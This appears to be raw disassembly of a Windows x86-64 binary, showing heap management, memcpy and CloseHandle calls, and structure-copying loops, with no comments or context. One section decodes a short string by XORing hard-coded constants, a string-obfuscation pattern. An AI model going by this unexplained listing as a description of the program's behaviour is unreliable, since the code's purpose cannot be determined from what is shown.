mov qword [rsp + 0x20], 1
mov rcx, rbp
lea r9, [0x14039fc78]
call fcn.1400a39c6
mov rsi, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
lea rcx, [rsp + 0x310]
mov rdx, rsi
call fcn.14017f1df
cmp qword [rsp + 0x30], 0
mov rbx, qword [rsp + 0x1d0]
je 0x140120d23
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
call fcn.140026fa9
cmp qword [rsp + 0x100], 0
lea rbp, [rsp + 0x40]
je 0x140120d5f
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x190]
call fcn.140031440
mov rdx, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x340]
call fcn.140031440
mov rcx, rdi
mov rdx, rbx
mov r8, qword [rsp + 0xf8]
call fcn.140031440
mov r13, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x110]
mov rdx, r13
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], rsi
mov word [rsp + 0x178], 1
mov ecx, 0x10
lea rdi, [rsp + 0x30]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xa9], 0
jne 0x14012952f
xor ebx, ebx
mov rdi, qword [rsp + 0x40]
mov rcx, r15
mov rdx, rbp
call fcn.14000b399
cmp qword [rsp + 0x1e0], 0
je 0x140120e8f
mov rsi, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x30]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x30], rax
cmp byte [rsp + 0xa9], 0
mov rbx, rdi
je 0x140120e1d
mov rbx, rdi
mov rcx, qword [rsp + 0xf0]
jmp 0x140120ecb
xor r12d, r12d
mov rsi, qword [rsp + 0xf0]
mov r15, qword [rsp + 0x1d0]
lea rbx, [rsp + 0x30]
jmp 0x140121090
cmp byte [rsp + 0xa9], 0
mov rcx, qword [rsp + 0xf0]
jne 0x140120ec2
cmp byte [rsp + 0xa8], 0
mov rdi, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jne 0x140121a89
cmp rax, rdi
jne 0x140121a89
test rbx, rbx
je 0x14012952f
mov qword [rsp + 0x2f0], rbx
mov qword [rsp + 0x2f8], rsi
lea rax, [rsp + 0x340]
mov qword [rsp + 0x30], rax
lea rdx, [0x140006df0]
mov qword [rsp + 0x38], rdx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rdx
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x60], rax
lea rax, [0x140037710]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036f2d0]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 5
lea rax, [rsp + 0x30]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 4
mov rcx, r15
mov rdx, r14
call fcn.140030660
cmp qword [rsp + 0x280], 0
lea rdi, [rsp + 0x280]
je 0x140120f99
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
mov r15, qword [rsp + 0x1d0]
je 0x140120fc3
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x40], rax
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0x30], xmm0
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.14012d90c
mov rsi, rdx
test rax, rax
jne 0x140129604
mov qword [rsp + 0x280], rsi
mov r8, qword [rsp + 0x318]
mov r9, qword [rsp + 0x320]
mov rcx, rbx
mov rdx, rdi
call fcn.140147a80
cmp qword [rsp + 0x30], 0
jne 0x140129618
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x190], 0
je 0x140121052
mov r8, qword [rsp + 0x198]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x310], 0
je 0x140121074
mov r8, qword [rsp + 0x318]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0xf0]
mov rax, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x70]
sub rax, rdx
cmp rax, r12
jb 0x140121b53
imul rcx, qword [rsi + 0x70], 0x70
add rcx, qword [rsi + 0x68]
imul r8, r12, 0x70
mov rdx, qword [rsp + 0x268]
call sub.VCRUNTIME140.dll_memcpy
add qword [rsi + 0x70], r12
mov rcx, r14
mov rdx, r15
mov r8, qword [rsp + 0xf8]
call fcn.140031440
mov rcx, rbx
mov rdx, rsi
mov r8, r14
call fcn.14012b184
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x140128c8f
mov rcx, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rbp, rax
shl rbp, 6
mov rdx, r13
add rdx, rbp
mov qword [rsp + 0x428], rcx
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x198], r13
mov qword [rsp + 0x1a0], rdx
mov qword [rsp + 0x1a8], r13
lea rcx, [rsp + 0x3d0]
mov qword [rsp + 0x1b0], rcx
mov rbx, r13
test rax, rax
mov r15, qword [rsp + 0x188]
je 0x14012141f
mov qword [rsp + 0x478], rdx
lea r12, [r13 + 0x40]
mov rbx, r13
lea rcx, [rsp + 0x40]
mov rax, qword [r12 - 0x28]
test rax, rax
je 0x140121417
lea rsi, [r12 - 0x40]
mov rdx, qword [rsi + 0x10]
mov qword [rcx + 0x10], rdx
movups xmm0, xmmword [rsi]
movups xmmword [rcx], xmm0
movdqu xmm0, xmmword [r12 - 0x20]
movdqu xmm1, xmmword [r12 - 0x10]
lea rdx, [rsp + 0x60]
movdqu xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x60], 0
je 0x140121318
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
movdqu xmm1, xmmword [rcx + 0x20]
movups xmm2, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x370], xmm2
movdqa xmmword [rsp + 0x360], xmm1
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x358], rdx
movaps xmmword [rsp + 0x340], xmm0
mov rsi, qword [rsp + 0x358]
mov r15, rdi
mov rdi, qword [rsp + 0x360]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x2a0], rdi
mov rdx, qword [rsp + 0x370]
mov r8, qword [rsp + 0x378]
lea rcx, [rsp + 0x2a8]
call fcn.140031440
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rsp + 0x280], xmm0
mov rcx, r14
mov rdx, r15
xor r8d, r8d
call fcn.14000e9ef
cmp dword [rsp + 0x100], 1
jne 0x140121322
mov rsi, qword [rsp + 0x358]
mov rdi, qword [rsp + 0x360]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x2a0], rdi
mov rdx, qword [rsp + 0x370]
mov r8, qword [rsp + 0x378]
lea rcx, [rsp + 0x2a8]
call fcn.140031440
movdqa xmm0, xmmword [rsp + 0x340]
movdqu xmmword [rsp + 0x280], xmm0
mov rax, qword [rsp + 0x1b0]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
lea rcx, [rsp + 0x1e0]
mov rdx, r15
call fcn.14000e9ef
lea rcx, [rsp + 0x108]
call fcn.1400054cc
jmp 0x140121335
call fcn.140005483
jmp 0x1401213fc
mov ecx, 9
lea rdi, [rsp + 0x1e0]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rdi, r15
lea rcx, [rsp + 0x340]
call fcn.140005483
mov rax, qword [rsp + 0x200]
cmp qword [rsp + 0x1e0], 0
je 0x1401213b5
lea rdx, [rsp + 0x1f8]
mov rcx, qword [rdx]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [rdx - 0x10]
movaps xmmword [rsp + 0x100], xmm0
mov qword [rsp + 0x118], rax
movdqu xmm0, xmmword [rdx + 0x10]
movdqu xmm1, xmmword [rdx + 0x20]
lea rax, [rsp + 0x110]
movdqu xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x10], xmm0
lea r14, [rsp + 0x100]
mov rcx, r14
call fcn.1400054cc
mov r15, qword [rsp + 0x188]
jmp 0x1401213fc
test rax, rax
lea r14, [rsp + 0x100]
mov r15, qword [rsp + 0x188]
je 0x1401213fc
lea rdx, [rsp + 0x1f8]
mov rcx, qword [rdx]
mov qword [rbx + 0x10], rcx
movups xmm0, xmmword [rdx - 0x10]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x18], rax
movdqu xmm0, xmmword [rdx + 0x10]
movdqu xmm1, xmmword [rdx + 0x20]
movdqu xmmword [rbx + 0x20], xmm0
movdqu xmmword [rbx + 0x30], xmm1
add rbx, 0x40
lea rcx, [rsp + 0x40]
add r12, 0x40
add rbp, 0xffffffffffffffc0
jne 0x140121157
mov r12, qword [rsp + 0x478]
mov qword [rsp + 0x198], r12
mov r12, rbx
sub r12, r13
lea rsi, [rsp + 0x190]
mov rcx, rsi
call fcn.140111cfe
mov rcx, rsi
call fcn.1401127ac
cmp rbx, r13
je 0x140121612
shr r12, 6
add qword [0x1403ce050], r12
mov rsi, r12
shl rsi, 6
add rsi, r13
mov rcx, r12
call fcn.140029ebd
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rdx
mov qword [rsp + 0x110], 0
cmp rax, r12
mov rbx, qword [rsp + 0x1d0]
jb 0x140121b70
xor eax, eax
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0x30]
call fcn.1400012ac
mov rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x190]
lea r9, [0x14039fc78]
call fcn.1400a39c6
mov rcx, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
call fcn.140026fa9
cmp qword [rsp + 0x100], 0
je 0x14012151d
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x340]
call fcn.140031440
mov rcx, rdi
mov rdx, rbx
mov r8, qword [rsp + 0xf8]
call fcn.140031440
mov rbx, qword [rsp + 0x288]
mov rsi, qword [rsp + 0x290]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x110]
mov rdx, rbx
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x100], 0
mov qword [rsp + 0x108], rsi
mov word [rsp + 0x178], 1
mov ecx, 0x10
lea rdi, [rsp + 0x30]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xa9], 0
jne 0x140129542
xor edi, edi
mov rbp, qword [rsp + 0x40]
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x40]
call fcn.14000b399
cmp qword [rsp + 0x1e0], 0
je 0x14012162a
mov rsi, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x30]
add rbp, rcx
sub rsi, rcx
mov qword [rsp + 0x30], rax
cmp byte [rsp + 0xa9], 0
mov rdi, rbp
je 0x1401215be
mov rdi, rbp
jmp 0x14012165e
xor r12d, r12d
mov rbp, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0x1d0]
jmp 0x140121947
cmp byte [rsp + 0xa9], 0
jne 0x140121655
cmp byte [rsp + 0xa8], 0
mov rbp, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
jne 0x140121a99
cmp rax, rbp
jne 0x140121a99
test rdi, rdi
je 0x140129542
mov qword [rsp + 0x310], rdi
mov qword [rsp + 0x318], rsi
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x110], rax
lea rax, [0x140037710]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x30], 0
lea rax, [0x14036f0d0]
mov qword [rsp + 0x40], rax
mov eax, 2
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x30]
call fcn.140030660
cmp qword [rsp + 0x280], 0
je 0x140121704
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
mov rdx, rsi
call fcn.140030a50
lea rax, [0x1403648f2]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rax, 0x1bf06e04c69efb35
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
call fcn.140009077
mov rcx, qword [rax]
movabs rdx, 0xdce1a2c3040bc824
xor rcx, rdx
mov qword [rsp + 0x2f0], rcx
movzx ecx, byte [rax + 0xa]
movzx eax, word [rax + 8]
xor eax, 0x657f
mov word [rsp + 0x2f8], ax
xor cl, 0x8f
mov byte [rsp + 0x2fa], cl
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0x318], 0xb
lea rax, [rsp + 0x340]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x110], rcx
lea rcx, [0x140037710]
mov qword [rsp + 0x118], rcx
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rax
lea rax, [0x14036f108]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 4
lea rax, [0x14036f080]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 5
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 3
lea rcx, [rsp + 0x280]
mov rdx, rbp
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x140121869
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
mov rbx, qword [rsp + 0x1d0]
je 0x140121888
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
lea rsi, [rsp + 0x280]
je 0x1401218b2
mov r8, qword [rsp + 0x348]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rsi
call fcn.14012d90c
mov rdi, rdx
test rax, rax
jne 0x140129634
mov qword [rsp + 0x1e0], rdi
mov rsi, qword [rsp + 0x198]
mov r9, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x1e0]
mov r8, rsi
call fcn.140147a80
cmp qword [rsp + 0x30], 0
jne 0x140129648
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp qword [rsp + 0x190], 0
je 0x140121925
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0xf0]
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x88]
sub rax, rdx
cmp rax, r12
mov rdi, rbx
jb 0x140121b92
mov rcx, qword [rbp + 0x88]
shl rcx, 6
add rcx, qword [rbp + 0x80]
mov r8, r12
shl r8, 6
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
add qword [rbp + 0x88], r12
mov rcx, r13
xor edx, edx
call fcn.140131d03
cmp qword [rsp + 0x428], 0
je 0x140121996
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x268]
mov rcx, rsi
xor edx, edx
call fcn.140131c72
cmp qword [rsp + 0x410], 0
lea r12, [rsp + 0x3f8]
je 0x1401219cd
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x338], 0
lea r13, [rsp + 0x30]
je 0x1401219f4
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x1c8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r15
xor edx, edx
call fcn.140131a5f
cmp qword [rsp + 0x3c8], 0
mov r14, qword [rsp + 0x1d8]
je 0x140121a23
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x270], 0
je 0x140121a40
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x1c0]
mov rdi, rdx
mov rcx, qword [rsp + 0x420]
cmp rdx, rcx
mov rbp, qword [rsp + 0xf0]
jne 0x14011f36f
jmp 0x140128d40
sub rax, rbx
add rbx, qword [rsp + 0x40]
mov rsi, rax
jmp 0x14011fab6
sub rax, rdi
add rdi, qword [rsp + 0x40]
mov rsi, rax
jmp 0x14012000d
sub rax, rdi
add rdi, qword [rsp + 0x40]
mov rsi, rax
jmp 0x140120e65
sub rax, rbp
add rbp, qword [rsp + 0x40]
mov rsi, rax
jmp 0x14012160d
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8, r12
call fcn.1402aa742
mov rdx, qword [rsp + 0x108]
mov rax, qword [rsp + 0x110]
jmp 0x14011f929
mov rcx, qword [rsp + 0x470]
mov r8, r12
call fcn.1402a59ba
mov rbp, qword [rsp + 0xf0]
jmp 0x14011fdf1
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8, r14
call fcn.1402aa742
mov rdx, qword [rsp + 0x108]
mov rax, qword [rsp + 0x110]
jmp 0x14011fe84
mov rcx, qword [rsp + 0x460]
mov r8, rbx
call fcn.1402a58e7
mov rsi, qword [rsp + 0xf0]
jmp 0x140120793
mov rcx, r14
xor edx, edx
mov r8, r12
call fcn.1402aa742
mov rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x110]
jmp 0x140120c9a
mov rcx, qword [rsp + 0x488]
mov r8, r12
call fcn.1402a5820
mov rsi, qword [rsp + 0xf0]
jmp 0x140121090
mov rcx, r14
xor edx, edx
mov r8, r12
call fcn.1402aa742
mov rdx, qword [rsp + 0x108]
mov rax, qword [rsp + 0x110]
jmp 0x140121492
mov rcx, qword [rsp + 0x480]
mov r8, r12
call fcn.1402a5a8c
mov rbp, qword [rsp + 0xf0]
jmp 0x140121947
mov rdx, qword [0x1403c8048]
mov r8, qword [0x1403c8050]
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.14009245d
mov rax, qword [rsi]
mov qword [rsp + 0x460], rax
mov rdx, qword [rsi + 8]
mov rbp, qword [rsi + 0x10]
lea rcx, [rbp*2]
add rcx, rbp
lea rax, [rdx + rcx*8]
mov rbx, rdx
test rbp, rbp
mov qword [rsp + 0x468], rdx
je 0x140123704
mov rsi, qword [rsp + 0xf0]
lea rcx, [rsi + 0x90]
mov qword [rsp + 0x4e8], rcx
lea rcx, [rsi + 0x48]
mov qword [rsp + 0x488], rcx
lea rcx, [rsi + 0x60]
mov qword [rsp + 0x480], rcx
lea rcx, [rsi + 0x78]
mov qword [rsp + 0x4f0], rcx
lea r12, [rsp + 0x40]
mov rcx, rdx
mov qword [rsp + 0x470], rax
lea rbx, [rcx + 0x18]
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x1401236fc
mov qword [rsp + 0x3c8], rbx
mov rax, qword [rcx]
mov qword [rsp + 0x338], rax
mov rbx, qword [rcx + 0x10]
mov rcx, qword [rsi + 0x98]
mov rdx, qword [rsi + 0xa0]
mov qword [rsi + 0xa0], 0
call fcn.14007ad9b
lea r15, [rsp + 0x100]
mov rcx, r15
mov rdx, rdi
mov qword [rsp + 0x270], rbx
mov r8, rbx
call fcn.140031440
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8, r15
call fcn.1401296b0
mov al, byte [rsp + 0x30]
cmp al, 0x1a
mov qword [rsp + 0x1c0], rdi
jne 0x1401234ed
mov rdx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
lea rcx, [rax + rax*8]
lea rcx, [rsi + rcx*8]
mov qword [rsp + 0x410], rdx
mov qword [rsp + 0x340], rdx
mov qword [rsp + 0x348], rsi
mov qword [rsp + 0x350], rcx
mov qword [rsp + 0x358], rsi
mov r14, rsi
test rax, rax
mov qword [rsp + 0x1d0], rsi
je 0x140121faf
mov qword [rsp + 0x188], rcx
lea rbx, [rsi + 0x48]
shl rax, 3
lea rbp, [rax + rax*8]
mov r14, rsi
mov rax, qword [rbx - 0x40]
test rax, rax
je 0x140121f97
mov rcx, qword [rbx - 0x48]
mov rdx, qword [rbx - 8]
lea rdi, [rsp + 0x40]
mov qword [rdi + 0x40], rdx
movdqu xmm0, xmmword [rbx - 0x38]
movdqu xmm1, xmmword [rbx - 0x28]
movups xmm2, xmmword [rbx - 0x18]
movups xmmword [rdi + 0x30], xmm2
movdqu xmmword [rdi + 0x20], xmm1
movdqu xmmword [rdi + 0x10], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x80], 0
je 0x140121ebd
cmp qword [rsp + 0x50], 0
je 0x140121ebd
mov rsi, r12
mov r12, r14
mov ecx, 9
lea r14, [rsp + 0x280]
mov rdi, r14
mov r15, rsi
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
lea r13, [rsp + 0x1e0]
mov rcx, r13
call fcn.140031440
mov rdx, qword [rsp + 0x2a0]
mov r8, qword [rsp + 0x2a8]
lea rcx, [rsp + 0x1f8]
call fcn.140031440
mov rsi, qword [rsp + 0x2b8]
mov rdi, qword [rsp + 0x2c0]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x218], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x220], rdi
lea rcx, [rsp + 0x100]
mov rdx, r13
xor r8d, r8d
call fcn.14000e77e
cmp qword [rsp + 0x100], 0
je 0x140121ed2
lea rax, [rsp + 0x108]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x210], xmm3
movaps xmmword [rsp + 0x200], xmm2
movdqa xmmword [rsp + 0x1f0], xmm1
movdqa xmmword [rsp + 0x1e0], xmm0
lea rcx, [rsp + 0x1e0]
call fcn.14012eec0
mov rcx, r14
call fcn.140005610
mov rsi, qword [rsp + 0x1d0]
mov r14, r12
jmp 0x140121f7e
mov rcx, r12
call fcn.140005610
mov rsi, qword [rsp + 0x1d0]
jmp 0x140121f81
mov rsi, qword [rsp + 0x108]
mov rdi, qword [rsp + 0x110]
lea rax, [rsp + 0x110]
movdqu xmm0, xmmword [rax + 8]
movdqu xmm1, xmmword [rax + 0x18]
movups xmm2, xmmword [rax + 0x28]
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x200], xmm2
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x210], rax
mov rcx, r14
call fcn.140005610
test rdi, rdi
je 0x140121ead
mov r14, r12
mov qword [r12], rsi
mov qword [r12 + 8], rdi
movdqa xmm0, xmmword [rsp + 0x1e0]
movdqa xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movdqu xmmword [r12 + 0x10], xmm0
movdqu xmmword [r12 + 0x20], xmm1
movups xmmword [r12 + 0x30], xmm2
mov rax, qword [rsp + 0x210]
mov qword [r12 + 0x40], rax
add r14, 0x48
mov rsi, qword [rsp + 0x1d0]
mov r12, r15
add rbx, 0x48
add rbp, 0xffffffffffffffb8
jne 0x140121d3d
mov rbx, qword [rsp + 0x188]
mov qword [rsp + 0x348], rbx
mov rdi, qword [rsp + 0x1c0]
lea r15, [rsp + 0x100]
sub r14, rsi
mov rax, r14
movabs rcx, 0xe38e38e38e38e38f
mul rcx
shr rdx, 6
mov qword [rsp + 0x428], rdx
lea rsi, [rsp + 0x340]
mov rcx, rsi
call fcn.140111bf9
mov rcx, rsi
call fcn.140112856
mov rcx, r15
mov rdx, rdi
mov r8, qword [rsp + 0x270]
call fcn.140031440
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0xf0]
mov r8, r15
call fcn.14012a41b
mov al, byte [rsp + 0x30]
cmp al, 0x1a
jne 0x14012352f
mov rcx, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
imul r12, rax, 0x70
lea rdx, [r15 + r12]
mov qword [rsp + 0x420], rcx
mov qword [rsp + 0x190], rcx
mov qword [rsp + 0x198], r15
mov qword [rsp + 0x1a0], rdx
mov qword [rsp + 0x1a8], r15
mov rbp, r15
test rax, rax
mov qword [rsp + 0x1c8], r14
mov qword [rsp + 0x268], r15
je 0x1401222eb
mov qword [rsp + 0xf8], rdx
lea rbx, [r15 + 0x70]
mov rbp, r15
mov rax, qword [rbx - 0x58]
test rax, rax
je 0x1401222e3
lea rcx, [rbx - 0x70]
lea rsi, [rbx - 0x50]
mov rdx, qword [rcx + 0x10]
lea rdi, [rsp + 0x40]
mov qword [rdi + 0x10], rdx
movdqu xmm0, xmmword [rcx]
movdqu xmmword [rdi], xmm0
mov ecx, 0xa
lea rdi, [rsp + 0x60]
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x188], rbp
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x90], 0
je 0x140122266
cmp qword [rsp + 0x60], 0
je 0x140122266
mov ecx, 0xe
lea r14, [rsp + 0x280]
mov rdi, r14
lea rsi, [rsp + 0x40]
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x298]
mov r8, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x110]
call fcn.140031440
mov rdx, qword [rsp + 0x2b0]
mov r8, qword [rsp + 0x2b8]
lea rcx, [rsp + 0x128]
call fcn.140031440
mov rsi, qword [rsp + 0x2c8]
mov rdi, qword [rsp + 0x2d0]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov rdx, rsi
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x150], rdi
mov rdx, qword [rsp + 0x2e0]
mov r8, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x158]
call fcn.140031440
movups xmm0, xmmword [rsp + 0x280]
movups xmmword [rsp + 0x100], xmm0
lea rcx, [rsp + 0x1e0]
lea rsi, [rsp + 0x100]
mov rdx, rsi
xor r8d, r8d
call fcn.14000ebed
mov r13, qword [rsp + 0x1f8]
test r13, r13
je 0x140122272
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x320], rax
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x310], xmm0
mov ecx, 0xa
lea r15, [rsp + 0x340]
mov rdi, r15
lea rsi, [rsp + 0x200]
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.1400054f2
mov rax, qword [rsp + 0x320]
mov rbp, qword [rsp + 0x188]
mov qword [rbp + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x310]
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x18], r13
lea rdi, [rbp + 0x20]
mov ecx, 0xa
mov rsi, r15
mov r15, qword [rsp + 0x268]
rep movsq qword [rdi], qword [rsi]
add rbp, 0x70
mov r14, qword [rsp + 0x1c8]
jmp 0x1401222cd
lea rcx, [rsp + 0x40]
call fcn.1400054f2
jmp 0x1401222c5
lea rax, [rsp + 0x200]
movdqu xmm0, xmmword [rax]
